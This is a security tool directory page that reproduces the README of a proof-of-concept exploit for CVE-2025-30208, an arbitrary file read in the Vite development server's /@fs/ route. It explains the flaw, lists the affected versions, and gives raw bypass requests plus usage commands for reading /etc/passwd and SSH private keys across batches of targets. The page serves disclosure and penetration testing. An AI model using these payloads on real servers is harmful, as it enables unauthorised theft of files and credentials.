Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-30208 — A PoC of the exploit script for the Arbitrary File Read vulnerability of Vite /@fs/ Path Traversal in the transformMiddleware (CVE-2025-30208). | Kitploit
Tools/GitHubGitHub/4xura/cve-2025-30208
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHub4xura/cve-2025-30208

CVE-2025-30208

A PoC of the exploit script for the Arbitrary File Read vulnerability of Vite /@fs/ Path Traversal in the transformMiddleware (CVE-2025-30208).

View Repository
105491 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    989
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    576
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    354
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    315

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-30208

A PoC of the exploit script for the Arbitrary File Read vulnerability of Vite /@fs/ Path Traversal in transformMiddleware (CVE-2025-30208). Detailed analysis can be refer to this post.

Vulnerable in versions prior to:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

Overview

Vite is a popular open-source project which can be sourced from Github and its official website. It uses a special prefix, @fs, to allow direct access to absolute file paths in development mode:

GET /@fs/<absolute/path/to/file>

But to prevent abuse, Vite limits what can be accessed through @fs using a configuration like:

server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

So in theory, files outside the allowed directory (like /etc/passwd) should be blocked — even if someone tries using tricks like ../../../.

However, the flaw lies in how Vite parses and checks URLs (via transformMiddleware middleware/function). The middleware/function uses ensureServingAccess(url, ...) to check if a file request via /@fs/ was allowed.

However, an attacker could craft request with trailing query separators in the URL like:

GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??

These forms would bypass the regular expression filters (rawRE, urlRE) and security checks due to the malformed query string still matching the route logic. What’s happening:

  1. The path is /@fs/../../../etc/passwd
  2. The query string is raw?? (malformed on purpose)
  3. Internally, Vite tries to strip or normalize trailing characters like ?, and it does this before checking if the file path is allowed.
  4. However, the check fails to correctly parse and match the query string, so the allowlist logic doesn't apply.

This means:

  • The request bypasses the server.fs.allow check.
  • Vite treats it as a valid file access request.
  • And it reads and returns arbitrary files like /etc/passwd, if existed.

PoC Usage

Basic usage

python3 poc.py [OPTIONS]

Options

Flag / OptionDescription
-u, --urlSingle target URL (e.g. example.com:5173)
-f, --fileFile with list of targets (one URL per line)
-p, --pathFilesystem path to read (default: /etc/passwd)
-b, --bypassQuery string to bypass route validation (default: ?raw??)
--proxyProxy URL (e.g. http://127.0.0.1:8080)
-o, --outputOutput directory for saving exploitation results (default: results)
-t, --threadsNumber of threads for batch mode (default: 10)
-h, --helpShow help message and exit

Examples

Single target exploitation:

python3 cve-2025-30208.py -u example.com:5173

Single target with custom LFI path to leak the file we want:

python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'

Batch exploitation with multiple targets:

python3 cve-2025-30208.py -f targets.txt

Custom bypass query:

python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"

Using a proxy (e.g. Burp Suite):

python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080

Custom output directory:

python3 cve-2025-30208.py -u example.com:5173 -o ./loot

Increase thread count in batch mode:

python3 cve-2025-30208.py -f targets.txt -t 50
Download Tool